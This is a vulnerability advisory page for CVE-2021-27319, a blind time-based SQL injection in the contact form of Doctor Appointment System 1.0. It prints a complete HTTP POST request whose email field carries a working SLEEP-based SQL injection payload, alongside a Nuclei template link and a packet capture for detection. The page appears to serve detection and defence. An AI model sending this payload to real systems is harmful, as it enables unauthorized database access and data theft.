🔙 목록으로 돌아가기

CVE-2021-27319: Doctor Appointment System 1.0 - SQL Injection

TitleDoctor Appointment System 1.0 - SQL Injection
Authortheamanrawat
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.72221
CVE IDCVE-2021-27319
CWE IDCWE-89
Tags time-based-sqli cve2021 cve packetstorm sqli doctor-appointment-system doctor_appointment_system_project vuln

🔍 Vulnerability Description

Blind SQL injection in contactus.php in Doctor Appointment System 1.0 allows an unauthenticated attacker to insert malicious SQL queries via email parameter.

🌐 HTTP Request

POST /contactus.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Length: 234
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

firstname=38FJC9iTM3Vxg3QvW5GOyVi1b7f&lastname=38FJC9iTM3Vxg3QvW5GOyVi1b7f&email=38FJC9iTM3Vxg3QvW5GOyVi1b7f%40test.com'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&comment=38FJC9iTM3Vxg3QvW5GOyVi1b7f&submit=Send+Us

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27319.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27319.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A